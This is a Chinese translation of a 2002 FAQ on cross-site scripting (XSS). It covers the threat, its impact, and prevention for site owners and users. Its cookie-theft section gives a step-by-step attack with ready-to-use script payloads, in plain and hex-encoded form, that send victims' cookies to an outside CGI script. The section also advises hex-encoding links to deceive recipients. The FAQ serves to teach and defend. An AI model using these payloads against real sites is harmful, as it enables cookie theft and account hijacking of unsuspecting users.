該文章簡單地介紹了XSS的基礎知識及其危害和預防方法。Web開發人員的必讀。譯自
[url]http://www..cgisecurity.com/articles/xss-faq.shtml[/url]。
簡介
如今的網站包含大量的動態內容以提升用戶體驗,比過去要複雜得多。所謂動態內容,就是根據用戶環境和須要,Web應用程序可以輸出相應的內容。動態站點會受到一種名爲「跨站腳本***」(
Cross Site Scripting, 安全專家們一般將其所寫成
XSS)的威脅,而靜態站點則徹底不受其影響。這篇FAQ將使你能更深刻地理解這種威脅,並給出如何檢測並防止的建議。
什麼是跨站腳本***?
跨站腳本***(也稱爲
XSS)指利用網站漏洞從用戶那裏惡意盜取信息。用戶在瀏覽網站、使用即時通信軟件、甚至在閱讀電子郵件時,一般會點擊其中的連接。***者經過在連接中插入惡意代碼,就可以盜取用戶信息。***者一般會用十六進制(或其餘編碼方式)將連接編碼,以避免用戶懷疑它的合法性。網站在接收到包含惡意代碼的請求以後會產成一個包含惡意代碼的頁面,而這個頁面看起來就像是那個網站應當生成的合法頁面同樣。許多流行的留言本和論壇程序容許用戶發表包含HTML和javascript的帖子。假設用戶甲發表了一篇包含惡意腳本的帖子,那麼用戶乙在瀏覽這篇帖子時,惡意腳本就會執行,盜取用戶乙的session信息。有關***方法的詳細狀況將在下面闡述。
XSS和CSS是什麼意思?
人們常常將跨站腳本***(Cross Site Scripting)縮寫爲
CSS,但這會與
層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。所以有人將跨站腳本***縮寫爲
XSS。若是你聽到有人說 「我發現了一個XSS漏洞」,顯然他是在說跨站腳本***。
跨站腳本***有什麼危害?
爲了蒐集用戶信息,***者一般會在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺騙用戶(詳見下文)。一旦得手,他們能夠盜取用戶賬戶,修改用戶設置,盜取/污染cookie,作虛假廣告等。天天都有大量的XSS***的惡意代碼出現。 Brett Moore的下面這篇文章詳細地闡述了「拒絕服務***」以及用戶僅僅閱讀一篇文章就會受到的「自動***」。
可否給出幾個跨站腳本***的例子?
著名的PHPnuke程序有不少XSS漏洞。因爲該程序十分流行,所以常常被***們做爲XSS的***對象進行檢查。下面給出了幾個已公開報告的***方法。
可否解釋一下XSS cookie盜竊是什麼意思?
根據做爲***對象的Web程序,下面某些變量和插入位置可能須要進行調整。要注意這只是***方法的一個例子。在這個例子中,咱們將利用腳本「a.php」中的 「viriable」變量中的跨站腳本漏洞,經過正常請求進行***。這是跨站腳本***最多見的形式。
第一步: 鎖定目標
當你找到某個Web程序存在XSS漏洞以後,檢查一下它是否設置了cookie。若是在該網站的任何地方設置了cookie,那麼就能夠從用戶那裏盜取它。
第二步: 測試
不一樣的***方式將產生不一樣的XSS漏洞,因此應適當進行測試以使得輸出結果看起來像是正常的。某些惡意腳本插入以後會破壞輸出的頁面。(爲欺騙用戶,輸出結果很是重要,所以***者有必要調整***代碼使輸出看起來正常。)
下一步你須要在連接至包含XSS漏洞的頁面的URL中插入 Javascript(或其餘客戶端腳本)。下面列出了一些常常用於測試XSS漏洞的連接。當用戶點擊這些連接時,用戶的cookie獎被髮送到 [url]www..cgisecurity.com/cgi-bin/cookie.cgi[/url] 並被顯示。若是你看到顯示結果中包含了cookie信息,說明可能能夠劫持該用戶的帳戶。
盜取Cookie的Javascript示例。使用方法以下。
ASCII用法
[url]http://host/a.php?variable=[/url]"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
十六進制用法
[url]http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f[/url]
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每種用法都先寫爲ASCII,再寫成十六進制以便複製粘貼。
1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
第三步: 執行XSS
將作好的URL經過電子郵件或其餘方式發送出去。注意若是你直接將URL發送給其餘人(經過電子郵件、即時通信軟件或其餘方式),你應當將其進行十六進制編碼,由於這些URL一眼即可看出包含惡意代碼,但通過十六進制編碼以後就能夠欺騙大部分人。
第四步: 處理收集到的信息
一旦用戶點擊了你的URL,相應數據就會被髮送到你的CGI腳本中。這樣你就得到了 cookie信息,而後你能夠利用Websleuth之類的工具來檢查是否能盜取那個帳戶。
在上面的例子中,咱們僅僅將用戶帶到了 cookie.cgi頁面上。若是你有時間,你能夠在CGI中將用戶重定向到原來的頁面上,便可在用戶不知不覺之中盜取信息。
某些電子郵件程序在打開附件時會自動執行附件中的Javascript代碼。即便像Hotmail這樣的大型網站也是如此,不過它對附件內容做了許多過濾以免cookie被盜。
做爲網站管理者應當如何防範?
這個問題很簡單。
堅定不要相信任何用戶輸入並過濾全部特殊字符。這樣既可消滅絕大部分的XSS***。另外一個建議是輸出頁面時將 < 和 > 變換成 < 和 >。要記住,XSS漏洞極具破壞性,一旦被利用,它會給你的事業帶來極大的損害。***者會將這些漏洞公之於衆,這會在用戶隱私的問題上大大下降你的網站的用戶信賴度。固然,僅僅將 ( 和 ) 變換成 < 和 > 是不夠的,最好將 ( 和 ) 變換成 ( 和 ),# 和 & 變換成 # 和 &。
做爲用戶應當如何防範?
保護本身的最好方法就是僅點擊你想訪問的那個網站上的連接。例如,若是你訪問了一個網站,該網站有一個連接指向了 CNN,那麼不要單擊該連接,而是訪問 CNN 的主站點並使用搜索引擎查找相關內容。這樣能夠杜絕90%以上的XSS***。有時候XSS會在你打開電子郵件、打開附件、閱讀留言板、閱讀論壇時自動進行。當你打開電子郵件或是在公共論壇上閱讀你不認識的人的帖子時必定要
注意。最好的解決辦法就是關閉瀏覽器的 Javascript 功能。在IE中能夠將安全級別設置爲最高,能夠防止cookie被盜。
XSS漏洞有多常見?
因爲XSS漏洞很容易在大型網站中發現,在***圈內它很是流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有這樣那樣的XSS漏洞。
在商業產品中,平均每月可以發現10-25個XSS漏洞。
加密可否防止XSS***?
使用SSL(https)加密的網站並不比不加密的網站好到哪兒去。Web程序仍然以一樣的方式工做,只是***是經過加密的鏈接實現。有些人看到瀏覽器上的鎖圖標就認爲他們是安全的,其實否則。
XSS漏洞可否在服務器上執行命令?
XSS漏洞會致使Javascript的惡意插入,但它的執行受到不少限制。若是***者利用瀏覽器的漏洞,有可能在用戶的計算機上執行命令。所以,就算可以執行命令也只能在客戶端。簡單地說,XSS漏洞能夠觸發客戶端的其餘漏洞。
若是我不修改CSS/XSS漏洞會怎樣?
若是不修改XSS漏洞,你的網站上的用戶會受到被篡改的威脅。許多大型網站都發現了XSS漏洞,這個問題已經獲得廣泛認識。若是不修改,發現它的人也許會警告你的公司,損害公司的信譽。你拒絕修改漏洞的消息也會傳到客戶那裏,形成公司的信任危機。客戶不信任的話還怎麼作生意?
介紹一些更深刻講解XSS的地方。
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002 Copyright May 2002 Cgisecurity.com